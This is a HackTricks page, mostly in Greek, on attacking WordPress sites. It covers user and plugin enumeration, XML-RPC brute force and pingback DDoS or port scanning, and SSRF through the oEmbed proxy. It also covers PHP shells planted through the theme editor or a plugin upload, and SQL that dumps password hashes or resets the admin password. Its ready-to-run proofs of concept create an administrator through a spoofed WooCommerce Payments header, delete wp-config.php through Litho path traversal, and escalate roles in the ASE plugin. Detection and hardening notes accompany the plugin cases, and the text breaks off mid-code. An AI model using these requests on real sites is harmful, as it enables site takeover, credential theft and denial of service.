Wordpress
Reading time: 26 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
-
Uploaded αρχεία πηγαίνουν στο:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
Τα αρχεία θεμάτων βρίσκονται στο /wp-content/themes/, οπότε αν αλλάξετε κάποια php του θέματος για να αποκτήσετε RCE πιθανότατα θα χρησιμοποιήσετε αυτό το path. Για παράδειγμα: Χρησιμοποιώντας theme twentytwelve μπορείτε να έχετε πρόσβαση στο αρχείο 404.php στο: /wp-content/themes/twentytwelve/404.php
-
Άλλη χρήσιμη διεύθυνση URL μπορεί να είναι: /wp-content/themes/default/404.php
-
Στο wp-config.php μπορείτε να βρείτε τον root κωδικό της βάσης δεδομένων.
-
Προεπιλεγμένα μονοπάτια σύνδεσης προς έλεγχο: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Κύρια αρχεία WordPress
index.php
license.txt
περιέχει χρήσιμες πληροφορίες όπως την έκδοση του WordPress που είναι εγκατεστημένη.wp-activate.php
χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά τη ρύθμιση ενός νέου site WordPress.- Φάκελοι σύνδεσης (μπορεί να έχουν μετονομαστεί για να κρυφτεί):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με το HTTP ως μηχανισμό μεταφοράς και το XML ως μηχανισμό κωδικοποίησης. Αυτού του είδους η επικοινωνία έχει αντικατασταθεί από το WordPress REST API.- Ο φάκελος
wp-content
είναι ο κύριος κατάλογος όπου αποθηκεύονται plugins και themes. wp-content/uploads/
είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που έχουν ανεβεί στην πλατφόρμα.wp-includes/
είναι ο κατάλογος όπου βρίσκονται τα core αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.wp-sitemap.xml
Σε εκδόσεις Wordpress 5.5 και νεότερες, το Worpress δημιουργεί ένα sitemap XML αρχείο με όλα τα δημόσια posts και τα δημόσια queryable post types και taxonomies.
Post exploitation
- Το αρχείο
wp-config.php
περιέχει πληροφορίες που απαιτούνται από το WordPress για να συνδεθεί στη βάση δεδομένων όπως το όνομα της βάσης, ο host της βάσης, username και password, authentication keys and salts, και το prefix των πινάκων της βάσης. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για να ενεργοποιηθεί το DEBUG mode, το οποίο μπορεί να είναι χρήσιμο για την αντιμετώπιση προβλημάτων.
Δικαιώματα Χρηστών
- Administrator
- Editor: Δημοσιεύει και διαχειρίζεται τις δικές του και των άλλων αναρτήσεις
- Author: Δημοσιεύει και διαχειρίζεται τις δικές του αναρτήσεις
- Contributor: Γράφει και διαχειρίζεται τις αναρτήσεις του αλλά δεν μπορεί να τις δημοσιεύσει
- Subscriber: Περιηγείται αναρτήσεις και επεξεργάζεται το προφίλ του
Passive Enumeration
Λήψη έκδοσης WordPress
Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt
ή /readme.html
Μέσα στον πηγαίο κώδικα της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS αρχεία σύνδεσης
- αρχεία JavaScript
Λήψη Plugins
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Λήψη θεμάτων
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Εξαγωγή εκδόσεων γενικά
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ενεργή αναγνώριση
Plugins and Themes
Πιθανότατα δεν θα καταφέρετε να βρείτε όλα τα Plugins and Themes. Για να τα εντοπίσετε όλα, θα χρειαστεί να actively Brute Force a list of Plugins and Themes (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).
Χρήστες
- ID Brute: Αποκτάτε έγκυρους χρήστες από ένα WordPress site μέσω Brute Forcing των IDs χρηστών:
curl -s -I -X GET http://blog.example.com/?author=1
Αν οι απαντήσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Αν η απάντηση είναι 400, τότε το id είναι άκυρο.
- wp-json: Μπορείτε επίσης να προσπαθήσετε να λάβετε πληροφορίες για τους χρήστες εκτελώντας ένα query:
curl http://blog.example.com/wp-json/wp/v2/users
Ένα άλλο endpoint /wp-json/
που μπορεί να αποκαλύψει κάποιες πληροφορίες για χρήστες είναι:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Σημειώστε ότι αυτό το endpoint εκθέτει μόνο χρήστες που έχουν κάνει μια δημοσίευση. Θα παρέχονται μόνο πληροφορίες για τους χρήστες που έχουν ενεργοποιημένη αυτή τη δυνατότητα.
Επίσης σημειώστε ότι /wp-json/wp/v2/pages μπορεί να αποκαλύψει διευθύνσεις IP.
- Login username enumeration: Όταν προσπαθείτε να συνδεθείτε στο
/wp-login.php
, το μήνυμα είναι διαφορετικό και υποδεικνύει αν το username υπάρχει ή όχι.
XML-RPC
If xml-rpc.php
is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία using this for example).
Για να δείτε αν είναι ενεργό δοκιμάστε να αποκτήσετε πρόσβαση στο /xmlrpc.php και στείλτε αυτό το αίτημα:
Έλεγχος
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Διαπιστευτήρια Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για brute-force διαπιστευτηρίων. Εάν βρείτε κάποια από αυτές, μπορείτε να στείλετε κάτι σαν:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Το μήνυμα "Incorrect username or password" μέσα σε απόκριση με κωδικό 200 θα πρέπει να εμφανίζεται εάν τα διαπιστευτήρια δεν είναι έγκυρα.
Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να ανεβάσετε ένα αρχείο. Στην απόκριση θα εμφανιστεί η διαδρομή (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Also there is a faster way to brute-force credentials using system.multicall
as you can try several credentials on the same request:
.png)
Bypass 2FA
Αυτή η μέθοδος προορίζεται για προγράμματα και όχι για ανθρώπους, και είναι παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρα creds αλλά η κύρια είσοδος προστατεύεται με 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά μπορεί παρόλα αυτά να φτάσετε σε RCE όπως εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.
This can be used to ask thousands of Wordpress sites to access one location (so a DDoS is caused in that location) or you can use it to make Wordpress lo scan some internal network (you can indicate any port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Εάν λάβετε faultCode με τιμή μεγαλύτερη από 0 (17), αυτό σημαίνει ότι η θύρα είναι ανοιχτή.
Ρίξτε μια ματιά στη χρήση του system.multicall
στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτή τη μέθοδο για να προκαλέσετε DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Αυτό το αρχείο συνήθως υπάρχει στο root του Wordpress site: /wp-cron.php
Όταν αυτό το αρχείο προσεγγίζεται εκτελείται ένα "heavy" MySQL query, οπότε μπορεί να χρησιμοποιηθεί από attackers για να προκαλέσει ένα DoS.
Επίσης, εξ ορισμού, το wp-cron.php
καλείται σε κάθε φόρτωση σελίδας (κάθε φορά που ένας client ζητάει οποιαδήποτε Wordpress σελίδα), κάτι που σε high-traffic sites μπορεί να προκαλέσει προβλήματα (DoS).
Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε ένα πραγματικό cronjob στον host που να εκτελεί τις απαραίτητες ενέργειες σε τακτά διαστήματα (χωρίς να προκαλεί προβλήματα).
/wp-json/oembed/1.0/proxy - SSRF
Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Αυτό το εργαλείο ελέγχει για τη methodName: pingback.ping και για το path /wp-json/oembed/1.0/proxy, και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.
Αυτόματα Εργαλεία
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Απόκτηση πρόσβασης με την υπεργραφή ενός bit
Περισσότερο από μια πραγματική επίθεση, πρόκειται για μια περιέργεια. Σε ένα CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορούσες να αναστρέψεις 1 bit σε οποιοδήποτε αρχείο wordpress. Έτσι μπορούσες να αναστρέψεις τη θέση 5389
του αρχείου /var/www/html/wp-includes/user.php
ώστε να κάνεις NOP στην λειτουργία NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Τροποποίηση ενός php από το theme που χρησιμοποιείται (admin credentials needed)
Appearance → Theme Editor → 404 Template (στα δεξιά)
Αλλάξτε το περιεχόμενο σε php shell:
Αναζητήστε στο Internet πώς μπορείτε να αποκτήσετε πρόσβαση σε αυτή την ενημερωμένη σελίδα. Σε αυτή την περίπτωση πρέπει να επισκεφθείτε: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Μπορείτε να χρησιμοποιήσετε:
use exploit/unix/webapp/wp_admin_shell_upload
για να αποκτήσετε session.
Plugin RCE
PHP plugin
Ενδέχεται να είναι δυνατή η μεταφόρτωση .php αρχείων ως plugin.
Δημιουργήστε το php backdoor σας χρησιμοποιώντας για παράδειγμα:
Then add a new plugin:
Upload plugin and press Install Now:
Click on Procced:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Access it and you will see the URL to execute the reverse shell:
Μεταφόρτωση και ενεργοποίηση κακόβουλου plugin
Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου plugin που είναι γνωστό ότι έχει ευπάθειες και μπορεί να εκμεταλλευτεί για να αποκτήσει web shell. Η διαδικασία πραγματοποιείται μέσω του WordPress dashboard ως εξής:
- Plugin Acquisition: Το plugin αποκτάται από πηγή όπως Exploit DB όπως here.
- Plugin Installation:
- Περιηγηθείτε στο WordPress dashboard, στη συνέχεια πηγαίνετε στο
Dashboard > Plugins > Upload Plugin
. - Ανεβάστε το zip αρχείο του κατεβασμένου plugin.
- Plugin Activation: Μόλις το plugin εγκατασταθεί επιτυχώς, πρέπει να ενεργοποιηθεί μέσω του dashboard.
- Exploitation:
- Με το plugin "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευπαθές.
- Το Metasploit framework παρέχει ένα exploit για αυτή την ευπάθεια. Φορτώνοντας το κατάλληλο module και εκτελώντας συγκεκριμένες εντολές, μπορεί να δημιουργηθεί μια meterpreter session, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στον ιστότοπο.
- Σημειώνεται ότι αυτός είναι μόνο ένας από τους πολλούς τρόπους εκμετάλλευσης ενός ιστότοπου WordPress.
Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στο WordPress dashboard για την εγκατάσταση και ενεργοποίηση του plugin. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και ανήθικη χωρίς την κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νομικό πλαίσιο, όπως penetration testing με ρητή άδεια.
Για περισσότερα βήματα δείτε: https://www.hackingarticles.in/wordpress-reverse-shell/
Από XSS σε RCE
- WPXStrike: WPXStrike είναι ένα script σχεδιασμένο να κλιμακώνει μια Cross-Site Scripting (XSS) ευπάθεια σε Remote Code Execution (RCE) ή άλλες κρίσιμες ευπάθειες στο WordPress. Για περισσότερες πληροφορίες δείτε this post. Παρέχει υποστήριξη για τις εκδόσεις Wordpress 6.X.X, 5.X.X και 4.X.X και επιτρέπει:
- Privilege Escalation: Δημιουργεί έναν χρήστη στο WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Ανεβάστε το custom plugin (backdoor) σας στο WordPress.
- (RCE) Built-In Plugin Edit: Επεξεργασία Built-In Plugins στο WordPress.
- (RCE) Built-In Theme Edit: Επεξεργασία Built-In Themes στο WordPress.
- (Custom) Custom Exploits: Custom Exploits για Third-Party WordPress Plugins/Themes.
Post Exploitation
Εξαγωγή usernames και passwords:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Αλλαγή admin password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Το να γνωρίζεις πώς ένα Wordpress plugin μπορεί να εκθέσει λειτουργικότητα είναι κρίσιμο για να εντοπίσεις ευπάθειες στη λειτουργία του. Μπορείς να δεις πώς ένα plugin ενδέχεται να εκθέτει λειτουργικότητα στα παρακάτω σημεία και κάποια παραδείγματα ευπαθών plugins στο this blog post.
wp_ajax
Ένας από τους τρόπους με τους οποίους ένα plugin μπορεί να εκθέσει λειτουργίες στους χρήστες είναι μέσω AJAX handlers. Αυτοί μπορεί να περιέχουν σφάλματα λογικής, authorization ή authentication. Επιπλέον, είναι συχνό ότι αυτές οι λειτουργίες βασίζουν τόσο το authentication όσο και το authorization στην ύπαρξη ενός wordpress nonce που οποιοσδήποτε authenticated χρήστης στην Wordpress instance μπορεί να έχει (ανεξαρτήτως του role).
Αυτές είναι οι συναρτήσεις που μπορούν να χρησιμοποιηθούν για να εκθέσουν μια λειτουργία σε ένα plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Η χρήση του nopriv
καθιστά το endpoint προσβάσιμο από οποιουσδήποτε χρήστες (ακόμη και μη αυθεντικοποιημένους).
caution
Επιπλέον, αν η συνάρτηση απλώς ελέγχει την εξουσιοδότηση του χρήστη με τη συνάρτηση wp_verify_nonce
, αυτή η συνάρτηση μόνο ελέγχει αν ο χρήστης είναι συνδεδεμένος, συνήθως δεν ελέγχει τον ρόλο του χρήστη. Έτσι χρήστες με χαμηλά προνόμια ενδέχεται να έχουν πρόσβαση σε ενέργειες με υψηλά προνόμια.
- REST API
Είναι επίσης δυνατό να εκτεθούν συναρτήσεις από το wordpress καταχωρώντας ένα REST API χρησιμοποιώντας τη συνάρτηση register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Το permission_callback
είναι μια συνάρτηση callback που ελέγχει αν ένας δοθείς χρήστης έχει εξουσιοδότηση να καλέσει τη μέθοδο του API.
Εάν χρησιμοποιηθεί η ενσωματωμένη συνάρτηση __return_true
, θα παρακάμψει απλά τον έλεγχο δικαιωμάτων χρήστη.
- Άμεση πρόσβαση στο αρχείο PHP
Φυσικά, το Wordpress χρησιμοποιεί PHP και τα αρχεία μέσα σε plugins είναι άμεσα προσβάσιμα από το web. Έτσι, αν ένα plugin εκθέτει ευάλωτη λειτουργικότητα που ενεργοποιείται απλώς με την πρόσβαση στο αρχείο, θα μπορεί να εκμεταλλευτεί από οποιονδήποτε χρήστη.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Κάποια plugins υλοποιούν συντομεύσεις “trusted header” για εσωτερικές ενσωματώσεις ή reverse proxies και στη συνέχεια χρησιμοποιούν αυτό το header για να ορίσουν το τρέχον user context για REST requests. Αν το header δεν είναι κρυπτογραφικά δεμένο με το request από ένα upstream component, ένας attacker μπορεί να το spoofάρει και να προσπελάσει privileged REST routes ως administrator.
- Επίπτωση: μη αυθεντικοποιημένη privilege escalation σε admin δημιουργώντας νέο administrator μέσω του core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(επιβάλλει το user ID 1, συνήθως ο πρώτος λογαριασμός administrator). - Exploited route:
POST /wp-json/wp/v2/users
with an elevated role array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Γιατί λειτουργεί
- Το plugin αντιστοιχίζει μια κεφαλίδα που ελέγχεται από τον client στην κατάσταση ταυτοποίησης και παρακάμπτει τους ελέγχους δικαιωμάτων.
- Ο πυρήνας του WordPress αναμένει τη δυνατότητα
create_users
για αυτή τη διαδρομή· το hack του plugin την παρακάμπτει ρυθμίζοντας απευθείας το context του τρέχοντος χρήστη από την κεφαλίδα.
Προσδοκώμενοι δείκτες επιτυχίας
- HTTP 201 με JSON σώμα που περιγράφει τον δημιουργημένο χρήστη.
- Ένας νέος χρήστης διαχειριστής ορατός στο
wp-admin/users.php
.
Λίστα ελέγχου ανίχνευσης
- Ψάξτε (grep) για
getallheaders()
,$_SERVER['HTTP_...']
, ή vendor SDKs που διαβάζουν προσαρμοσμένες κεφαλίδες για να ορίσουν το context του χρήστη (π.χ.wp_set_current_user()
,wp_set_auth_cookie()
). - Επανεξετάστε τις εγγραφές REST για privileged callbacks που δεν έχουν αξιόπιστους ελέγχους
permission_callback
και αντίθετα βασίζονται σε request headers. - Αναζητήστε χρήσεις των core user-management functions (
wp_insert_user
,wp_create_user
) μέσα σε REST handlers που προστατεύονται μόνο από τιμές κεφαλίδων.
Σκληρυνση
- Μην βασίζετε ποτέ την ταυτοποίηση ή την εξουσιοδότηση σε κεφαλίδες που ελέγχονται από τον client.
- Εάν ένας reverse proxy πρέπει να εισάγει ταυτότητα, τερματίστε την εμπιστοσύνη στο proxy και αφαιρέστε εισερχόμενα αντίγραφα (π.χ.
unset X-Wcpay-Platform-Checkout-User
στο edge), στη συνέχεια περάστε ένα υπογεγραμμένο token και επαληθεύστε το server-side. - Για REST routes που εκτελούν privileged actions, απαιτήστε ελέγχους
current_user_can()
και ένα αυστηρόpermission_callback
(μη χρησιμοποιείτε__return_true
). - Προτιμήστε first-party auth (cookies, application passwords, OAuth) αντί για header “impersonation”.
Αναφορές: δείτε τους συνδέσμους στο τέλος αυτής της σελίδας για ένα δημόσιο περιστατικό και ευρύτερη ανάλυση.
Μη-επαληθευμένη αυθαίρετη διαγραφή αρχείων μέσω wp_ajax_nopriv (Litho Theme <= 3.0)
Τα themes και plugins του WordPress συχνά εκθέτουν AJAX handlers μέσω των hooks wp_ajax_
και wp_ajax_nopriv_
. Όταν χρησιμοποιείται η παραλλαγή nopriv η callback γίνεται προσβάσιμη από μη-επαληθευμένους επισκέπτες, οπότε οποιαδήποτε ευαίσθητη ενέργεια πρέπει επιπλέον να υλοποιεί:
- Έναν έλεγχο δικαιωμάτων (π.χ.
current_user_can()
ή τουλάχιστονis_user_logged_in()
), και - Ένα CSRF nonce επικυρωμένο με
check_ajax_referer()
/wp_verify_nonce()
, και - Αυστηρή εξυγίανση / επαλήθευση εισόδου.
Το multipurpose theme Litho (< 3.1) ξέχασε αυτούς τους 3 ελέγχους στη λειτουργία Remove Font Family και κατέληξε να συμπεριλαμβάνει τον ακόλουθο κώδικα (απλουστευμένος):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Προβλήματα που εισάγει αυτό το απόσπασμα:
- Μη αυθεντικοποιημένη πρόσβαση – το hook
wp_ajax_nopriv_
έχει καταχωρηθεί. - Δεν υπάρχει έλεγχος nonce / capability – οποιοσδήποτε επισκέπτης μπορεί να προσπελάσει το endpoint.
- Δεν υπάρχει καθαρισμός μονοπατιού – η συμβολοσειρά που ελέγχεται από τον χρήστη
fontfamily
συνενώνεται σε ένα filesystem path χωρίς φιλτράρισμα, επιτρέποντας το κλασικό traversal../../
.
Εκμετάλλευση
Ένας επιτιθέμενος μπορεί να διαγράψει οποιοδήποτε αρχείο ή κατάλογο κάτω από τον βασικό κατάλογο uploads (συνήθως <wp-root>/wp-content/uploads/
) στέλνοντας ένα μόνο HTTP POST request:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Because wp-config.php
lives outside uploads, four ../
sequences are enough on a default installation. Deleting wp-config.php
forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme .php
files (to break security plugins) or .htaccess
rules.
Detection checklist
- Any
add_action( 'wp_ajax_nopriv_...')
callback that calls filesystem helpers (copy()
,unlink()
,$wp_filesystem->delete()
, etc.). - Concatenation of unsanitised user input into paths (look for
$_POST
,$_GET
,$_REQUEST
). - Absence of
check_ajax_referer()
andcurrent_user_can()
/is_user_logged_in()
.
Hardening
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Always θεωρείτε οποιαδήποτε ενέργεια εγγραφής/διαγραφής στο δίσκο ως privileged και ελέγξτε προσεκτικά:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation μέσω αποκατάστασης παρωχημένων ρόλων και missing authorization (ASE "View Admin as Role")
Πολλά plugins υλοποιούν μια λειτουργία "view as role" ή προσωρινής εναλλαγής ρόλου αποθηκεύοντας τους αρχικούς ρόλους στο user meta ώστε να μπορούν να επαναφερθούν αργότερα. Αν η διαδρομή επαναφοράς βασίζεται μόνο σε παραμέτρους αιτήματος (π.χ. $_REQUEST['reset-for']
) και σε μια λίστα που διατηρεί το plugin χωρίς έλεγχο capabilities και χωρίς έγκυρο nonce, αυτό γίνεται vertical privilege escalation.
Ένα πραγματικό παράδειγμα βρέθηκε στο Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Το reset branch επανέφερε ρόλους βάσει reset-for=<username>
εάν το username εμφανιζόταν σε έναν εσωτερικό πίνακα $options['viewing_admin_as_role_are']
, αλλά δεν εκτέλεσε ούτε έλεγχο current_user_can()
ούτε επαλήθευση nonce πριν αφαιρέσει τους τρέχοντες ρόλους και επαναπροσθέσει τους αποθηκευμένους ρόλους από το user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Γιατί είναι εκμεταλλεύσιμο
- Εμπιστεύεται το
$_REQUEST['reset-for']
και μια επιλογή του plugin χωρίς εξουσιοδότηση από την πλευρά του διακομιστή. - Αν ένας χρήστης προηγουμένως είχε υψηλότερα προνόμια αποθηκευμένα στο
_asenha_view_admin_as_original_roles
και υποβαθμίστηκε, μπορεί να τα επαναφέρει πατώντας στη διαδρομή επαναφοράς. - Σε ορισμένες αναπτύξεις, οποιοσδήποτε πιστοποιημένος χρήστης θα μπορούσε να ενεργοποιήσει μια επαναφορά για άλλο όνομα χρήστη που εξακολουθεί να υπάρχει στο
viewing_admin_as_role_are
(σφάλμα εξουσιοδότησης).
Attack prerequisites
- Ευάλωτη έκδοση του plugin με τη λειτουργία ενεργοποιημένη.
- Ο λογαριασμός-στόχος έχει ένα παλιό ρόλο με υψηλά προνόμια αποθηκευμένο στα user meta από προηγούμενη χρήση.
- Οποιαδήποτε πιστοποιημένη συνεδρία; απουσία nonce/capability στη ροή επαναφοράς.
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Σε ευάλωτες εκδόσεις αυτό αφαιρεί τους τρέχοντες ρόλους και επαναπροσθέτει τους αποθηκευμένους “original roles” (π.χ., administrator
), αυξάνοντας ουσιαστικά τα προνόμια.
Detection checklist
- Ψάξτε για role-switching features που διατηρούν τους “original roles” στο user meta (π.χ.,
_asenha_view_admin_as_original_roles
). - Εντοπίστε διαδρομές επανεκκίνησης/restore που:
- Διαβάζουν ονόματα χρηστών από
$_REQUEST
/$_GET
/$_POST
. - Τροποποιούν ρόλους μέσω
add_role()
/remove_role()
χωρίςcurrent_user_can()
καιwp_verify_nonce()
/check_admin_referer()
. - Εξουσιοδοτούν βάσει ενός plugin option array (π.χ.,
viewing_admin_as_role_are
) αντί για τις δυνατότητες του ενεργούντος χρήστη.
Hardening
- Επιβάλετε ελέγχους δυνατοτήτων σε κάθε κλάδο που αλλάζει κατάσταση (π.χ.,
current_user_can('manage_options')
ή αυστηρότερο). - Απαιτήστε nonces για όλες τις μεταβολές ρόλων/δικαιωμάτων και επαληθεύστε τα:
check_admin_referer()
/wp_verify_nonce()
. - Μην εμπιστεύεστε ποτέ ονόματα χρηστών που προέρχονται από το request· επιλύστε τον στοχευόμενο χρήστη server-side βάσει του επαληθευμένου χρήστη και ρητής πολιτικής.
- Ακυρώστε την κατάσταση “original roles” κατά τις ενημερώσεις προφίλ/ρόλων για να αποφύγετε την επαναφορά παλαιών υψηλών προνομίων:
add_action( 'profile_update', function( $user_id ) {
